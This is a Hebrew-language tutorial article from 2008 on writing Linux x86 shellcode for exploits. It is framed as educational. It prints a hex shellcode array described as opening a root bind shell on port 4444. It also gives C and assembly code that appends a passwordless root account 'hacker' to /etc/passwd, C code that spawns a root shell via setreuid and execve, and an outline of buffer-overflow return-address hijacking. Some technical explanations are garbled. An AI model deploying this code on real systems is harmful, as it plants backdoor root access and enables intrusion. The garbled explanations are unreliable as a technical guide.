• Shellcodes ו Exploits …

    הרי לכם הסבר על רגל אחת, כיצד מוצאים אקספלוייט בשירות אינטרנטי. הכל למטרת המדע כמובן


    פורסם ב: 18 יוני 2008
    הדפס כתבה
    כתוב לעורך
    X

    שלח לחבר

    זוהי לא משימה קלה לנסות ולמצוא לשירות חיוני Exploit. אך במידה ואתם מנהלי רשת, גם זוהי לא משימה קלה לנסות ולהגן מפני השימוש ב Exploits על המערכת שלכם. כתבה זו לא עוסקת ב- "איך לכתוב Exploits" או כל המשתמע מכך. כתבה זו עוסקת בצעד אחר צעד ליצירת "Shellcode", נקודה מכרעת בכל פיתוח אחר Exploit לתוכנה.

    Assembly Code

    קחו כל Exploit שהורדתם מהאינטרנט, שמבטיח לכם "Root Shell" במערכות מרוחקות, וחקרו את קוד המקור שלו. חפשו אחר החלק הכי לא מובן של הקוד; הוא יהיה שם על בטוח. רוב הפעמים, תמצאו כמה שורות מוזרות ולא מובנות שמלוות בתגים מוזרים; משהו שנראה כך:

    char shellcode[] =
    "\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
    "\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
    "\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
    "\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
    "\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
    "\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
    "\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";

    זהו ה- "Shellcode" . מדי פעם מעדיפים לקרוא לו "bytecode". תוכנו הוא לא איזו מילת קסמים נסתרת או כמה תווים רנדומאלית, אלא שתווים אלה הם סט של ניצול אבטחה נמוכה במערכת, ע"י שורת פקודות- שהן בדיוק כמו להריץ קובץ הפעלה (executable).

    הדוגמא של ה- Shellcode בדוגמא שלנו, פותחת את הפורט 4444 בשרת לינוקס ובעצם משווה את ערכיו למנהל ברמת "Root", כך שכל הרשאותיו פתוחות. בעזרת Shellcode, תוכלו גם לכבות מערכות, לשלוח קבצים, אימיילים ועוד. עיקרה של כל תוכנת Exploit כזו או אחרת היא בעצם לגרום ל- Shellcode, לעבוד!

    לדוגמא, תופעה נפוצה של עודף טעויות Buffer בקוד של תוכנה. מפתחים, לעיתים קרובות בודקים מידע שהתקבל כ: "מידע לנוסחה".

    דוגמא פשוטה:
    המפתח יוצר איזור דינמי, ומקצה עבורו 100bytes ואינו שולט במספר האלמנטים האמיתי. כל האלמנטים שמחוץ לגבולות האיזור הדינמי יסודרו בנפרד, כך נוצר או\ו נקרא "Buffer Overflow". משימת ה- Exploites, היא בעצם לעקוף את ה- Buffer, ואחר כך לשנות את כתובת החזרה של המערכת לכתובת המופיעה ב Shellcode . במידה ו Shellcode יכול לקחת שליטה, הוא יוצא לפועל, זה די פשוט .

    כמו שכבר כתבתי, כתבה זו היא לא מדריך לכתיבת Exploits, יש המון מאגרים בהם תוכלו למצוא Shellcode שערוך ומוכן לפקודתכם (shellcode.org, Metasploit) ; בכל אופן, זה לא תמיד מספק. Shellcode, הוא בעצם אות low-level (אות שקט שקרוב לשפת הסף שהמערכת לא מזהה כעוין בד"כ). לכן כאשר מבינים כיצד זה עובד, זה יתרום הרבה לשיפור האבטחה במערכת שלכם.

    בשביל מה זה ?
    בשביל להמשיך לעומק את הכתבה הזו, אני מצפה שתהיה לכם לפחות רמת Assembly באופן בסיסי, וזה, בכדי לנסות לבצע ניסויים בשפת ה- Shellcode. אני בחרתי ב Linux במעבד x86, רוב האקספלוייטים מזדהים עם שירותי Unix, אחרי הכל הם הכי נפוצים, מה שהופך אותם למעניינים. אתם תצטרכו כמה כלים בסיסיים: Netwide Assembler (nasm), Ndisasm, ו- Hexdump. רוב מערכות הלינוקס מובנות עם תוכנות אלה בתוכן.

    Shellcodes נכתבים בד"כ בשפת Assembly. בכל זאת, הרבה יותר קל ללמוד כיצד הם עובדים במידה וכותבים אותם בשפת C, ואז מתרגמים את הקוד שכתבתם ב C, לשפת Assembly. זוהי דוגמת קוד בשפת C, אשר מוסיפה משתמש למחיצת ה /etc/passwd .

    #include
    #include

    main() {
    char *filename = "/etc/passwd";
    char *line = "hacker:x:0:0::/:/bin/sh\n";
    int f_open;
    f_open = open(filename,O_WRONLY|O_APPEND);
    write(f_open, line, strlen(line));
    close(f_open);
    exit(0);
    }

    כל הקוד הזה הוא דיי פשוט, למעט פונקציית ה open() אולי. O_WRONLY|O_APPEND הקבוע, מוצע כפרמטר בכדי לפתוח את ההרשאות לכתיבה (Writing), ומוסיף את העובדות שנכתבו בסוף התחביר..

    הנה עוד דוגמא ליצירת Bourne shell:

    #include

    main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    setreuid(0, 0);
    execve(name[0],name, NULL);
    }

    המשתנה "setreuid(0,0)" מנסה בעצם להשיג הרשאות root (במידה וזה אפשרי). execve(const char filename,const char[] argv, const char[] envp) זוהי קריאה הכרחית למערכת שמוציאה לפועל כל קובץ בינארי או סקריפט, יש לה שלושה פרמטרים:
    • Filename: כאן יהיה הנתיב המלא של קובץ ה executable (קבצי מערכת לרבות exe)
    Argv[]: כאן יהיה ערך הפעולה.
    Envp[]: זוהי ערך המחרוזת של הפורמט key=value.

    כל הערכים חייבים להסתיים באלמנט NULL (ריק). כעת, קח לעצמך בחשבון כיצד לשכתב קוד שנכתב בשפת C, לשפת אסמבלר כפי שהודגם בדוגמא הראשונה. מערכת אסמבלר שמבוססת על מעבדי x86, מגיעה עם כלים מגוונים לעזרה, אשר קוראים את מספר הפקודות מרשומות ה EAX ומתקנות\מתאימות את הקוד שכתבת.

    הקודים של הפקודות שאתה יוצר, נשמרים תחת המחיצה " /usr/include/asm/unistd.h." לדוגמא: שורה בקובץ, #define __NR_ open 5 , משמעותה שהפונקצייה open() מזדהה עם הספרה 5. בצורה דומה, אתה יכול למצוא את כל שאר קודי הפונקציות: exit() היא 1, Close() היא 6, setreuid() היא 70, ו execve() היא 11. הידע הזה מספיק בכדי לכתוב אפליקצייה בסיסית שתעבוד. בכדי לשנות תוכן במחיצת ה /etc/passwd. התחביר ב- Assembly יהיה כך:

    section .data
    filename db '/etc/passwd', 0
    line db 'hacker:x:0:0::/:/bin/sh',0x0a

    section .text
    global _start

    _start:
    ; open(filename,O_WRONLY|O_APPEND)
    mov eax, 5
    mov ebx, filename
    mov ecx, 1025
    int 0x80
    mov ebx, eax

    ; write(f_open, line, 24)
    mov eax, 4
    mov ecx, line
    mov edx, 24
    int 0x80

    ; close(f_open)
    mov eax, 6
    int 0x80

    ; exit(0)
    mov eax, 1
    mov ebx, 0
    int 0x80

    תכנות ב Assembly מכיל שלושה חלקים: חלק המידע (data) – שמכיל משתנים; חלקי הקוד מכילים הוראות לכתיבה נכונה של הקוד, ומאפשרים מקום מיוחד לסדר את החומר שנכתב, שזהו החלק השלישי. הדוגמה להלן מנצלת רק מידע (data) ומקטעים של קוד. המקטעים של הקוד מכילים הצהרה של שני משתנים; name , ו- line, ומתעקשים על סט של bytes .

    מקטע הקוד מתחיל בהצהרה של נקודת התחלה: global_start, זה בעצם אומר למערכת שקוד התוכנה מתחיל בתג ה _start.

    השלב הבא פחות קשה, בכדי לקרוא לפונקצייה open(), קבע את רשומת ה- EAX למשתנה המתאים. בשלב זה הוא: 5. לאחר מכן, העביר את הפרמטרים לפונקציה. הדרך הכי פשוטה לעשות זאת, היא על ידי ניצול של הרשומות (registrys) EBX, ECX ו EBX . EBX, משיג את הפרמטר הראשון של הפונקצייה, הכתובת ההתחלתית של המחרוזת והמשתנים, שבעצם מכילה את הנתיב המלא לקובץ עצמו, ותסתיים במשוואה 0. (רוב פונקציות המערכת דורשות את המשוואה "NULL").

    רשומת ה- ECX משיגה את הפרמטר השני שלנו, נותנת לנו מידע על מצב הקבצים הפתוחים, (ברצף של- O_WRONLY|O_APPEND בפורמט מספרי) . במצב שכל הפרמטרים משובצים, הקוד יוצא לפועל ויוצר שגיאת 0×80. הוא ייקרא את הפונקצייה מרשומת ה- EAX ויחשב כמתאים ע"י המערכת .

    לאחר שהסתיימה הקריאה מהערכת שלנו דרך ה- EAX, האפליקצייה תמשיך, ותעובד בסדר write() , close(), ו- exit() בדיוק באותה הצורה !

    תגיות: , , , , , ,

    הוספת תגובה
עדיין אין תגובות לכתבה זו. הוסף תגובה
תגובה חדשה
בעת שליחת תגובתך הינך מסכים לתנאי השימוש באתר.